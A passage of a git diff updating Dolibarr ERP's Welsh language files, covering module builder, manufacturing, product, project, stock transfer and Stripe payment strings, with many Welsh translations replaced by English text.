ffeil dogfennaeth y modiwl/cymhwysiad (%s) SpaceOrSpecialCharAreNotAllowed=Ni chaniateir bylchau neu nodau arbennig. FileNotYetGenerated=Ffeil heb ei chynhyrchu eto +GenerateCode=Generate code RegenerateClassAndSql=Gorfodi diweddaru ffeiliau .class a .sql RegenerateMissingFiles=Cynhyrchu ffeiliau coll SpecificationFile=Ffeil o ddogfennaeth LanguageFile=Ffeil ar gyfer iaith ObjectProperties=Priodweddau Gwrthrych +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=A ydych yn siŵr eich bod am ddileu'r eiddo %s ? Bydd hyn yn newid cod yn y dosbarth PHP ond hefyd yn dileu'r golofn o'r diffiniad tabl o wrthrych. NotNull=Ddim yn NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Yn fesur DirScanned=Cyfeiriadur wedi'i sganio NoTrigger=Dim sbardun NoWidget=Dim teclyn -GoToApiExplorer=Fforiwr API +ApiExplorer=API explorer ListOfMenusEntries=Rhestr o gofnodion dewislen ListOfDictionariesEntries=Rhestr o gofnodion geiriaduron ListOfPermissionsDefined=Rhestr o ganiatadau diffiniedig SeeExamples=Gweler enghreifftiau yma -EnabledDesc=Amod i gael y maes hwn yn weithredol (Enghreifftiau: 1 neu $conf->global-> MYMODULE_MYOPTION) -VisibleDesc=Ydy'r cae yn weladwy? (Enghreifftiau: 0=Byth yn weladwy, 1=Yn weladwy ar y rhestr a chreu/diweddaru/gweld ffurflenni, 2=Yn weladwy ar y rhestr yn unig, 3=Yn weladwy ar y ffurflen creu/diweddaru/gweld yn unig (nid y rhestr), 4=Yn weladwy ar y rhestr a diweddaru/gweld ffurflen yn unig (ddim yn creu), 5=Ffurflen gweld diwedd rhestr yn unig i'w gweld (nid creu, nid diweddaru).

      Mae defnyddio gwerth negyddol yn golygu nad yw maes yn cael ei ddangos yn ddiofyn ar y rhestr ond gellir ei ddewis i'w weld).

      Gall fod yn fynegiant, er enghraifft:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user-> holine->days->holin-19bz0) -DisplayOnPdfDesc=Arddangos y maes hwn ar ddogfennau PDF gydnaws, gallwch reoli sefyllfa gyda maes "Swyddfa".
      Ar hyn o bryd, a elwir modelau chydweddolion PDF yw: eratosthene (gorchymyn), espadon (llong), sbwng (anfonebau), gwyrddlas (propal / dyfynbris), cornas (gorchymyn cyflenwr)

      Ar gyfer y ddogfen:
      0 = Nid harddangos
      1 = arddangos
      2 = arddangos dim ond os nad gwagio

      ar gyfer llinellau ddogfen:
      0 = nid harddangos
      1 = harddangos mewn colofn
      3 = arddangos yng ngholofn disgrifiad llinell ar ôl y disgrifiad
      4 = arddangos yng ngholofn disgrifiad ar ôl y disgrifiad yn unig os nad yn wag -DisplayOnPdf=Arddangos ar PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=A ellir cronni gwerth y maes i gael cyfanswm yn y rhestr? (Enghreifftiau: 1 neu 0) SearchAllDesc=Ydy'r maes yn cael ei ddefnyddio i wneud chwiliad o'r teclyn chwilio cyflym? (Enghreifftiau: 1 neu 0) SpecDefDesc=Rhowch yma'r holl ddogfennaeth yr ydych am ei darparu gyda'ch modiwl nad yw eisoes wedi'i ddiffinio gan dabiau eraill. Gallwch ddefnyddio .md neu well, y gystrawen gyfoethog .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Defnyddiwch URL golygydd penodol UseSpecificFamily = Defnyddiwch deulu penodol UseSpecificAuthor = Defnyddiwch awdur penodol UseSpecificVersion = Defnyddiwch fersiwn gychwynnol benodol -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Os byddwch yn gwirio hyn, bydd rhywfaint o god yn cael ei gynhyrchu i ychwanegu blwch "Cynhyrchu dogfen" ar y cofnod. -ShowOnCombobox=Dangos gwerth yn y blwch cyfuno +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Allwedd ar gyfer cyngor offer CSSClass=CSS ar gyfer golygu/creu ffurflen CSSViewClass=CSS i'w darllen CSSListClass=CSS ar gyfer rhestr NotEditable=Nid oes modd ei olygu ForeignKey=Allwedd dramor -TypeOfFieldsHelp=Math o feysydd:
      varchar(99), dwbl(24,8), real, testun, html, datetime, stamp amser, cyfanrif, cyfanrif:Enw Dosbarth:relativepath/to/classfile.class.php[:1[:filter]]
      Mae '1' yn golygu ein bod yn ychwanegu botwm + ar ôl y combo i greu'r cofnod
      Mae 'hidlo' yn gyflwr sql, enghraifft: 'status=1 AND fk_user=__USER_ID__ AC endid IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Trawsnewidydd Ascii i HTML AsciiToPdfConverter=Trawsnewidydd Ascii i PDF TableNotEmptyDropCanceled=Bwrdd ddim yn wag. Mae gollwng wedi'i ganslo. ModuleBuilderNotAllowed=Mae'r adeiladwr modiwl ar gael ond nid yw'n cael ei ganiatáu i'ch defnyddiwr. ImportExportProfiles=Proffiliau mewnforio ac allforio -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Rhybudd: Nid yw'r gronfa ddata yn cael ei diweddaru'n awtomatig, rhaid i chi ddinistrio tablau ac analluogi-alluogi'r modiwl i gael tablau wedi'u hail-greu LinkToParentMenu=Dewislen rhieni (fk_xxxx dewislen) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/cy_GB/mrp.lang b/htdocs/langs/cy_GB/mrp.lang index 855839ae5a8..04a4b8cf833 100644 --- a/htdocs/langs/cy_GB/mrp.lang +++ b/htdocs/langs/cy_GB/mrp.lang @@ -11,8 +11,8 @@ Bom=Biliau o Ddeunyddiau BillOfMaterials=Bil o Ddeunyddiau BillOfMaterialsLines=Llinellau Mesur Deunyddiau BOMsSetup=Gosod modiwl BOM -ListOfBOMs=Rhestr o filiau deunydd - BOM -ListOfManufacturingOrders=Rhestr o Orchmynion Gweithgynhyrchu +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Bil deunyddiau newydd ProductBOMHelp=Cynnyrch i'w greu (neu ddadosod) gyda'r BOM hwn.
      Nodyn: Nid yw cynhyrchion gyda'r priodwedd 'Nature of product' = 'Deunydd crai' yn weladwy yn y rhestr hon. BOMsNumberingModules=Templedi rhifo BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=A ydych yn siŵr eich bod am glonio'r bil deunyddiau ConfirmCloneMo=A ydych yn siŵr eich bod am glonio'r Gorchymyn Gweithgynhyrchu %s ? ManufacturingEfficiency=Effeithlonrwydd gweithgynhyrchu ConsumptionEfficiency=Effeithlonrwydd defnydd +Consumption=Consumption ValueOfMeansLoss=Mae gwerth 0.95 yn golygu cyfartaledd o 5%% o golled yn ystod y gweithgynhyrchu neu'r dadosod ValueOfMeansLossForProductProduced=Mae gwerth 0.95 yn golygu cyfartaledd o 5%% o golli cynnyrch a gynhyrchwyd DeleteBillOfMaterials=Dileu Bil Deunyddiau @@ -82,6 +83,7 @@ ProductsToProduce=Cynhyrchion i'w cynhyrchu UnitCost=Cost uned TotalCost=Cyfanswm y gost BOMTotalCost=Y gost i gynhyrchu'r BOM hwn yn seiliedig ar gost pob swm a chynnyrch i'w fwyta (defnyddiwch y pris cost os yw wedi'i ddiffinio, neu'r pris cyfartalog wedi'i bwysoli os caiff ei ddiffinio, fel arall y pris prynu gorau) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Mae'n rhaid eich bod wedi dechrau'r cynhyrchiad yn gyntaf i gau Gorchymyn Gweithgynhyrchu (Gweler tab '%s'). Ond gallwch ei ganslo. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Ni ellir defnyddio pecyn i mewn i BOM neu MO Workstation=Gweithfan @@ -112,3 +114,7 @@ MOAndLines=Gorchmynion Gweithgynhyrchu a llinellau MoChildGenerate=Generate Child Mo ParentMo=MO Parent MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/cy_GB/products.lang b/htdocs/langs/cy_GB/products.lang index 08594eb1c6c..c85160a7f1c 100644 --- a/htdocs/langs/cy_GB/products.lang +++ b/htdocs/langs/cy_GB/products.lang @@ -262,7 +262,7 @@ Quarter1=1af. Chwarter Quarter2=2il. Chwarter Quarter3=3ydd. Chwarter Quarter4=4ydd. Chwarter -BarCodePrintsheet=Argraffu cod bar +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Gyda'r offeryn hwn, gallwch argraffu dalennau o sticeri cod bar. Dewiswch fformat eich tudalen sticer, math o god bar a gwerth y cod bar, yna cliciwch ar y botwm %s . NumberOfStickers=Nifer y sticeri i'w hargraffu ar y dudalen PrintsheetForOneBarCode=Argraffwch sawl sticer ar gyfer un cod bar @@ -345,7 +345,7 @@ PossibleValues=Gwerthoedd posibl GoOnMenuToCreateVairants=Ewch ar y ddewislen %s - %s i baratoi amrywiadau priodoledd (fel lliwiau, maint, ...) UseProductFournDesc=Ychwanegu nodwedd i ddiffinio'r disgrifiad cynnyrch a ddiffinnir gan y gwerthwyr (ar gyfer pob cyfeiriad gwerthwr) yn ychwanegol at y disgrifiad ar gyfer cwsmeriaid ProductSupplierDescription=Disgrifiad gwerthwr ar gyfer y cynnyrch -UseProductSupplierPackaging=Defnyddiwch becynnu ar brisiau cyflenwyr (ailgyfrifwch y meintiau yn ôl y pecynnau a osodwyd ar bris y cyflenwr wrth ychwanegu/diweddaru llinell yn nogfennau'r cyflenwr) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Pecynnu PackagingForThisProductDesc=Byddwch yn prynu lluosrif o'r swm hwn yn awtomatig. QtyRecalculatedWithPackaging=Ailgyfrifwyd maint y llinell yn ôl pecynnu cyflenwyr @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Dim ond ar yr amrywiad cynnyrch sydd ar gael ProductsPricePerCustomer=Prisiau cynnyrch fesul cwsmer ProductSupplierExtraFields=Nodweddion Ychwanegol (Prisiau Cyflenwr) DeleteLinkedProduct=Dileu'r cynnyrch plentyn sy'n gysylltiedig â'r cyfuniad -AmountUsedToUpdateWAP=Swm i'w ddefnyddio i ddiweddaru'r Pris Cyfartalog Pwysol +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Pris cyfartalog wedi'i bwysoli PMPValueShort=WAP mandatoryperiod=Cyfnodau gorfodol @@ -416,6 +416,7 @@ ProductsMergeSuccess=Products have been merged ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Trowch ymlaen statws gwerthu SwitchOnPurchaseStatus=Trowch y statws prynu ymlaen +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Caeau Ychwanegol (symudiad stoc) InventoryExtraFields= Meysydd Ychwanegol (rhestr) ScanOrTypeOrCopyPasteYourBarCodes=Sganiwch neu deipiwch neu copïwch/gludwch eich codau bar @@ -424,3 +425,7 @@ PMPExpected=Expected PMP ExpectedValuation=Expected Valuation PMPReal=Real PMP RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/cy_GB/projects.lang b/htdocs/langs/cy_GB/projects.lang index bb35d3425f3..ffc968638a0 100644 --- a/htdocs/langs/cy_GB/projects.lang +++ b/htdocs/langs/cy_GB/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Mae'r olwg hon yn cyflwyno'r holl brosiectau a thasgau y caniate TasksDesc=Mae'r wedd hon yn cyflwyno'r holl brosiectau a thasgau (mae eich caniatâd defnyddiwr yn rhoi caniatâd i chi weld popeth). AllTaskVisibleButEditIfYouAreAssigned=Mae'r holl dasgau ar gyfer prosiectau cymwys yn weladwy, ond gallwch nodi amser yn unig ar gyfer tasg a neilltuwyd i'r defnyddiwr dethol. Neilltuo tasg os oes angen i chi nodi amser arno. OnlyYourTaskAreVisible=Dim ond tasgau a neilltuwyd i chi sy'n weladwy. Os oes angen i chi nodi amser ar dasg ac os nad yw'r dasg yn weladwy yma, yna mae angen i chi aseinio'r dasg i chi'ch hun. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Tasgau prosiectau ProjectCategories=Tagiau/categorïau prosiect NewProject=Prosiect newydd @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Arwain nifer y prosiectau agored yn ôl sta OpportunitiesStatusForProjects=Arwain nifer y prosiectau yn ôl statws ShowProject=Sioe prosiect ShowTask=Dangos tasg +SetThirdParty=Set third party SetProject=Prosiect gosod +OutOfProject=Out of project NoProject=Dim prosiect wedi'i ddiffinio nac yn eiddo iddo NbOfProjects=Nifer y prosiectau NbOfTasks=Nifer y tasgau @@ -122,7 +125,8 @@ ValidateProject=Dilysu prosiect ConfirmValidateProject=Ydych chi'n siŵr eich bod am ddilysu'r prosiect hwn? CloseAProject=Prosiect cau ConfirmCloseAProject=Ydych chi'n siŵr eich bod am gau'r prosiect hwn? -AlsoCloseAProject=Hefyd cau'r prosiect (cadwch ef ar agor os oes angen i chi ddilyn tasgau cynhyrchu arno o hyd) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Prosiect agored ConfirmReOpenAProject=Ydych chi'n siŵr eich bod am ail-agor y prosiect hwn? ProjectContact=Cysylltiadau'r prosiect @@ -165,7 +169,7 @@ OpportunityProbability=Tebygolrwydd arweiniol OpportunityProbabilityShort=Arwain probab. OpportunityAmount=Swm arweiniol OpportunityAmountShort=Swm arweiniol -OpportunityWeightedAmount=Swm wedi'i bwysoli cyfle +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Gyferbyn. swm pwysol OpportunityAmountAverageShort=Swm plwm cyfartalog OpportunityAmountWeigthedShort=Swm plwm wedi'i bwysoli @@ -238,7 +242,7 @@ OppStatusPENDING=Arfaeth OppStatusWON=Ennill OppStatusLOST=Wedi colli Budget=Cyllideb -AllowToLinkFromOtherCompany=Caniatáu i gysylltu prosiect gan gwmni arall

      A0B5BA1A8CAZZ0 GWERTHOEDD GOFAL: A0342FCCFA19BZ0 - Gall cysylltu unrhyw brosiectau, hyd yn oed yn cysylltu unrhyw brosiectau, hyd yn oed prosiectau o gwmnïau eraill A0342FCCFA19BZ0 - rhestr o IDau trydydd parti wedi'u gwahanu gan atalnodau: gallant gysylltu holl brosiectau'r trydydd parti hyn (Enghraifft: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Prosiectau %s diweddaraf LatestModifiedProjects=Prosiectau wedi'u haddasu %s diweddaraf OtherFilteredTasks=Tasgau eraill wedi'u hidlo @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Cyfrifir elw gan ddefnyddio AddPersonToTask=Ychwanegu at dasgau hefyd UsageOrganizeEvent=Defnydd: Trefniadaeth Digwyddiadau PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Dosbarthu'r prosiect fel un sydd ar gau pan fydd ei holl dasgau wedi'u cwblhau (cynnydd 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Sylwch: ni fydd hyn yn effeithio ar brosiectau presennol gyda'r holl dasgau ar gynnydd 100%%: bydd yn rhaid i chi eu cau â llaw. Mae'r opsiwn hwn yn effeithio ar brosiectau agored yn unig. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Dewiswch linellau o amser a dreulir sydd heb eu bilio, yna gweithred swmp "Cynhyrchu Anfoneb" i'w bilio ProjectTasksWithoutTimeSpent=Tasgau prosiect heb dreulio amser FormForNewLeadDesc=Diolch i chi lenwi'r ffurflen ganlynol i gysylltu â ni. Gallwch hefyd anfon e-bost atom yn uniongyrchol i %s . diff --git a/htdocs/langs/cy_GB/recruitment.lang b/htdocs/langs/cy_GB/recruitment.lang index a5798d61e07..d501b087afd 100644 --- a/htdocs/langs/cy_GB/recruitment.lang +++ b/htdocs/langs/cy_GB/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Recriwtiwr e-bost ToUseAGenericEmail=I ddefnyddio e-bost generig. Os na chaiff ei ddiffinio, bydd e-bost y sawl sy'n gyfrifol am recriwtio yn cael ei ddefnyddio NewCandidature=Cais newydd ListOfCandidatures=Rhestr o geisiadau -RequestedRemuneration=Cais am dâl -ProposedRemuneration=Tâl arfaethedig +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract wedi'i gynnig ContractSigned=Contract wedi'i lofnodi ContractRefused=Gwrthodwyd y contract RecruitmentCandidature=Cais JobPositions=Swyddi swyddi RecruitmentCandidatures=Ceisiadau -InterviewToDo=Cyfweliad i'w wneud +InterviewToDo=Contacts to follow AnswerCandidature=Ateb cais YourCandidature=Eich cais YourCandidatureAnswerMessage=Diolch i chi am eich cais.
      ... diff --git a/htdocs/langs/cy_GB/salaries.lang b/htdocs/langs/cy_GB/salaries.lang index c66eb70eac6..e9c80a4b865 100644 --- a/htdocs/langs/cy_GB/salaries.lang +++ b/htdocs/langs/cy_GB/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cyfrif cyfrifo a ddefnyddir ar gyfer trydydd parti defnyddwyr -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Bydd y cyfrif cyfrifyddu pwrpasol a ddiffinnir ar gerdyn defnyddiwr yn cael ei ddefnyddio ar gyfer cyfrifyddu Subledger yn unig. Bydd yr un hwn yn cael ei ddefnyddio ar gyfer y Cyfriflyfr Cyffredinol ac fel gwerth rhagosodedig cyfrifyddu Subledger os nad yw cyfrif cyfrif defnyddiwr pwrpasol ar ddefnyddiwr wedi'i ddiffinio. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Cyfrif cyfrifo yn ddiofyn ar gyfer taliadau cyflog CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Yn ddiofyn, gadewch yn wag yr opsiwn "Creu cyfanswm taliad yn awtomatig" wrth greu Cyflog Salary=Cyflog diff --git a/htdocs/langs/cy_GB/stocks.lang b/htdocs/langs/cy_GB/stocks.lang index 05e0ffee42d..6b59ee75b9e 100644 --- a/htdocs/langs/cy_GB/stocks.lang +++ b/htdocs/langs/cy_GB/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Dyddiad yn y dyfodol StocksByLotSerial=Stociau fesul lot/cyfres LotSerial=Llawer/Cyfresi LotSerialList=Rhestr o lot/cyfresi +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=Symudiadau ErrorWarehouseRefRequired=Mae angen enw cyfeirnod warws ListOfWarehouses=Rhestr o warysau @@ -48,7 +49,7 @@ StockCorrection=Cywiro stoc CorrectStock=Stoc cywir StockTransfer=Trosglwyddo stoc TransferStock=Trosglwyddo stoc -MassStockTransferShort=Trosglwyddiad stoc torfol +MassStockTransferShort=Bulk stock change StockMovement=Symudiad stoc StockMovements=Symudiadau stoc NumberOfUnit=Nifer o unedau @@ -146,8 +147,9 @@ Replenishments=Adnewyddiadau NbOfProductBeforePeriod=Swm y cynnyrch %s mewn stoc cyn y cyfnod dethol (< %s) NbOfProductAfterPeriod=Swm y cynnyrch %s mewn stoc ar ôl cyfnod dethol (> %s) MassMovement=Symudiad torfol -SelectProductInAndOutWareHouse=Dewiswch warws ffynhonnell a warws targed, cynnyrch a maint yna cliciwch "%s". Unwaith y gwneir hyn ar gyfer yr holl symudiadau gofynnol, cliciwch ar "%s". +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Trosglwyddo cofnodion +RecordMovements=Record stock movements ReceivingForSameOrder=Derbynebau ar gyfer yr archeb hon StockMovementRecorded=Symudiadau stoc wedi'u cofnodi RuleForStockAvailability=Rheolau ar ofynion stoc @@ -234,7 +236,7 @@ StockIncrease=Cynnydd stoc StockDecrease=Gostyngiad stoc InventoryForASpecificWarehouse=Rhestr ar gyfer warws penodol InventoryForASpecificProduct=Rhestr ar gyfer cynnyrch penodol -StockIsRequiredToChooseWhichLotToUse=Mae angen stoc i ddewis pa lot i'w ddefnyddio +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=Llu i AlwaysShowFullArbo=Arddangos coeden lawn o warws ar naidlen o ddolenni warws (Rhybudd: Gall hyn leihau perfformiadau yn ddramatig) StockAtDatePastDesc=Yma gallwch weld y stoc (stoc go iawn) ar ddyddiad penodol yn y gorffennol @@ -265,10 +267,53 @@ ProductBarcodeDoesNotExist=Nid yw cynnyrch gyda chod bar yn bodoli WarehouseId=ID warws WarehouseRef=Warws Cyf SaveQtyFirst=Arbedwch y meintiau go iawn a ddyfeisiwyd yn gyntaf, cyn gofyn am greu'r symudiad stoc. +ToStart=Start InventoryStartedShort=Dechreuwyd ErrorOnElementsInventory=Gweithred wedi'i chanslo am y rhesymau canlynol: ErrorCantFindCodeInInventory=Methu dod o hyd i'r cod canlynol yn y rhestr eiddo QtyWasAddedToTheScannedBarcode=Llwyddiant!! Ychwanegwyd y swm at yr holl god bar y gofynnwyd amdano. Gallwch chi gau'r teclyn Sganiwr. -StockChangeDisabled=Newid ar y stoc wedi'i analluogi +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=Dim warws wedi'i ddiffinio ar gyfer terfynell ClearQtys=Clirio pob swm +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/cy_GB/stripe.lang b/htdocs/langs/cy_GB/stripe.lang index 04b1fadf885..c50c262f6b1 100644 --- a/htdocs/langs/cy_GB/stripe.lang +++ b/htdocs/langs/cy_GB/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook allwedd byw ONLINE_PAYMENT_WAREHOUSE=Stoc i'w ddefnyddio ar gyfer gostyngiad stoc pan wneir taliad ar-lein
      (TODO Pan fydd opsiwn i leihau stoc yn cael ei wneud ar weithred ar anfoneb a'r taliad ar-lein yn cynhyrchu'r anfoneb ei hun ?) StripeLiveEnabled=Stripe live wedi'i alluogi (modd prawf / blwch tywod fel arall) StripeImportPayment=Mewnforio taliadau Stripe -ExampleOfTestCreditCard=Enghraifft o gerdyn credyd ar gyfer prawf: %s => dilys, %s => gwall CVC, %s => wedi dod i ben, %s => tâl yn methu +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Pyrth streipen OAUTH_STRIPE_TEST_ID=ID Cleient Stripe Connect (ca_...) OAUTH_STRIPE_LIVE_ID=ID Cleient Stripe Connect (ca_...) @@ -61,6 +62,7 @@ DeleteACard=Dileu Cerdyn ConfirmDeleteCard=Ydych chi'n siŵr eich bod am ddileu'r cerdyn Credyd neu Ddebyd hwn? CreateCustomerOnStripe=Creu cwsmer ar Stripe CreateCardOnStripe=Creu cerdyn ar Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Dangos yn Stripe StripeUserAccountForActions=Cyfrif defnyddiwr i'w ddefnyddio ar gyfer hysbysiad e-bost o rai digwyddiadau Stripe (taliadau Stripe) StripePayoutList=Rhestr o daliadau Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Dolen i'r gosodiad Stripe WebHook i ffonio'r IPN (mod PaymentWillBeRecordedForNextPeriod=Bydd taliad yn cael ei gofnodi ar gyfer y cyfnod nesaf. ClickHereToTryAgain= Cliciwch yma i geisio eto... CreationOfPaymentModeMustBeDoneFromStripeInterface=Oherwydd rheolau Dilysu Cwsmeriaid Cryf, rhaid creu cerdyn o swyddfa gefn Stripe. Gallwch glicio yma i droi cofnod cwsmer Stripe ymlaen: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/cy_GB/ticket.lang 